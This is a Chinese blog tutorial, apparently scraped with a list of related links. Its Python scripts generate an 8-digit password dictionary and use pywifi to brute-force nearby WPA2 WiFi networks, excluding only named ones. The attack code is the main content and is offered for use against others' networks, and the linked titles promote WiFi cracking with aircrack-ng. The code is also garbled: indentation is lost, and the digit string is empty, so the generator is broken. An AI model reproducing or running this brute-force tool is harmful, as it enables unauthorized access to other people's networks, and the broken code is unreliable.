一、前言说明

  本机运行环境:系统环境Win10,运行环境Python3.6,运行工具Pycharm

  需要Python的包有:pywifi

  这是一种暴力破解wifi的模式,需要的时间比较长,本文主要提供一个破解思路

二、思路介绍

  先生成一个密码字典(此步骤也可以从网上下载字典)

  循环用密码字典的每个密码去尝试连接Wifi,直到成功

三、源码设计

  1. 密码字典TXT文件生成,本文提供的比较简单,实用破解可以根据一般密码设置,去生成比较大比较全的密码字典

  一般设置密码规则,可以参照这个博客写的内容:https://www.cnblogs.com/lifengfneg/p/5992649.html

  以下提供简单8位纯数字的字典生成方案代码GetWifiPsdDic.py  

 import itertools as its

 if __name__ == '__main__':
words_num = ""
words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
r = its.product(words_num, repeat=8)
dic = open("password-8位数字.txt", "w")
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()

    2. 暴力破解密码,用时较长GetWifiPsd.py

 import pywifi

 from pywifi import const  # 引用一些定义

 import time

 def getwifi(wifilist, wificount):
wifi = pywifi.PyWiFi() # 抓取网卡接口
ifaces = wifi.interfaces()[0] # 获取网卡
ifaces.scan()
time.sleep(8)
bessis = ifaces.scan_results()
allwifilist = []
namelist = []
ssidlist = []
for data in bessis:
if data.ssid not in namelist: # 去掉重复的WIFI名称
namelist.append(data.ssid)
allwifilist.append((data.ssid, data.signal))
sorted(allwifilist, key=lambda st: st[1], reverse=True)
time.sleep(1)
n = 0
if len(allwifilist) is not 0:
for item in allwifilist:
if (item[0] not in ssidlist) & (item[0] not in wifilist):
n = n + 1
if n <= wificount:
ssidlist.append(item[0])
print(allwifilist)
return ssidlist def getifaces():
wifi = pywifi.PyWiFi() # 抓取网卡接口
ifaces = wifi.interfaces()[0] # 获取网卡
ifaces.disconnect() # 断开无限网卡连接
return ifaces def testwifi(ifaces, ssidname, password):
profile = pywifi.Profile() # 创建wifi连接文件
profile.ssid = ssidname # 定义wifissid
profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
profile.key = password # wifi密码
ifaces.remove_all_network_profiles() # 删除其他所有配置文件
tmp_profile = ifaces.add_network_profile(profile) # 加载配置文件
ifaces.connect(tmp_profile) # 连接wifi
time.sleep(5) # 5秒内能否连接上
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False def beginwork(wifinamelist):
ifaces = getifaces()
path = r"password-8位数字.txt"
# path = r"password-常用密码.txt"
files = open(path, 'r')
while True:
try:
password = files.readline()
password = password.strip('\n')
if not password:
break
for wifiname in wifinamelist:
print("正在尝试:" + wifiname + "," + password)
if testwifi(ifaces, wifiname, password):
print("Wifi账号:" + wifiname + ",Wifi密码:" + password)
wifinamelist.remove(wifiname)
break
if not wifinamelist:
break
except:
continue
files.close() if __name__ == '__main__':
wifinames_e = ["", "Vrapile"] # 排除不破解的wifi名字
wifinames = getwifi(wifinames_e, 5)
print(wifinames)
beginwork(wifinames)

四、最后小结

  上文生成字典有很多冗余密码成分,会大大加长破解时间,实用时可以更改密码生成方式

Python破解Wifi密码思路的更多相关文章

  1. 用 Python 破解 WiFi 密码

    如今,WiFi 跟我们的生活息息相关,无处不在.没有 WiFi 的地方是没有灵魂的! ​ 然而,比没有WiFi更让人绝望的,是有满格WiFi信号却没有密码…… ​ 今天我们就来尝试下,如何利用pyth ...

  2. 牛逼了,用Python破解wifi密码

    Python真的是无所不能,原因就是因为Python有数目庞大的库,无数的现成的轮子,让你做很多很多应用都非常方便.wifi跟我们的生活息息相关,无处不在.今天从WiFi连接的原理,再结合代码为大家详 ...

  3. 用 Python 破解 WIFI 密码,走到哪里都能连 WIFI

    WIFI 破解,Python 程序员必学技能.WIFI 已经完全普及,现在 Python 程序员没网,走到哪里都不怕! 教你们一招,如何在图片中提取 Python 脚本代码.图片发送至手机 QQ 长按 ...

  4. 分享一个撩妹、装13神技能,0基础用Python暴力破解WiFi密码

    WiFi密码Python暴力破解   Python密码破解部分截图 获取视频资料,转发此文+点击喜欢,然后获取资料请加Python交流群:580478401,就可以获取视频教程+源码 环境准备: py ...

  5. Kali Linux下破解WIFI密码挂载usb无线网卡的方法

    Kali Linux下破解WIFI密码挂载usb无线网卡的方法 时间:2014-10-12    来源:服务器之家    投稿:root 首先我要说的是,wifi密码的破解不是想象中的那么容易,目前还 ...

  6. 真正的手机破解wifi密码,aircrack-ng,reaver,仅限mx2(BCM4330芯片)

    仅限mx2(BCM4330芯片),mx可能有戏没测试(BCM4329?),mx3不行. PS:原生安卓应用,非虚拟机 reaver,不知道是啥的看这里http://tieba.baidu.com/p/ ...

  7. 怎么破解Wifi密码

    破解无络网络Wifi密码,让手机上Wifi不再受限. 方法/步骤 1 上网搜索并下载“Wfi万能钥匙”APK程序,然后将其安装到手机内存中.可以借助手机类管理软件将APK应用安装到手机中. 步骤阅读 ...

  8. Mac系统安装Aircrack-ng破解wifi密码(2)

    我们上一篇文章说过如何通过Aircrack-ng, 破解使用WPA/PSK加密方式的路由密码, 这一篇介绍的是使用Aircrack-ng破解使用WEP加密方式的路由密码: WEP和WPA/PSK的区别 ...

  9. aircrack 破解wifi密码

    分享一个用aircrack破解wifi密码的步骤: 1.新建一个终端 airmon-ng check kill airmon-ng start wlan0 airodump-ng wlan0mon 此 ...

随机推荐

  1. Flask-SQLAlchemy中解决数据库连接1366报错

    报错信息:Warning: (1366, "Incorrect string value: '\\xD6\\xD0\\xB9\\xFA\\xB1\\xEA...' for column 'V ...

  2. LoadRunner结果分析 – TPS

    针对吞吐率和 TPS 的关系,这个在结果分析中如何使用,就个人经验和朋友讨论后,提出如下建议指导,欢迎同僚指正. 相关定义 响应时间 = 网络响应时间 + 应用程序响应时间 响应时间 =(N1+N2+ ...

  3. 最短路&查分约束

    [HDU] 1548 A strange lift 根蒂根基最短路(或bfs)★ 2544 最短路 根蒂根基最短路★ 3790 最短路径题目 根蒂根基最短路★ 2066 一小我的观光 根蒂根基最短路( ...

  4. SQLPlus在连接时通常有四种方式

    SQLPlus在连接时通常有四种方式 1. ? 1 sqlplus / as sysdba 操作系统认证,不需要数据库服务器启动listener,也不需要数据库服务器处于可用状态.比如我们想要启动数据 ...

  5. codevs——T1044 拦截导弹 || 洛谷——P1020 导弹拦截

    http://codevs.cn/problem/1044/ || https://www.luogu.org/problem/show?pid=1020#sub 时间限制: 1 s  空间限制: 1 ...

  6. (转)关于使用iText导出pdf

    一.iText简介 iText是著名的开放源码的站点sourceforge一个项目,是用于生成PDF文档的一个java类库.通过iText不仅可以生成PDF或rtf的文档,而且可以将XML.Html文 ...

  7. java的数组index[]方括号内是可以进行算数运算的

    java的数组index[]方括号内饰可以进行算数运算的 如: String[] stringArray = testString.split("\\."); System.out ...

  8. POJ 1284

    想了很久,只想到枚举的方法,估计会超时吧. 原来有这样一条性质:p为素数,则p有phi(p-1)个原根 Orz... #include <iostream> #include <cs ...

  9. hive 配置注意事项及初始化hive 元数据

    今天配置hive 犯了一个问题:下载的hive tar.gz 里的conf文件夹仅仅有一个 hive-default.xml.template,于是我就cp  了一份命名为:hive-default. ...

  10. hadoop(七) - hadoop集群环境搭建

    一. 前言: hadoop2.0已经公布了稳定版本号了,添加了非常多特性,比方HDFS HA.YARN等.最新的hadoop-2.4.1又添加了YARN HA 注意:apache提供的hadoop-2 ...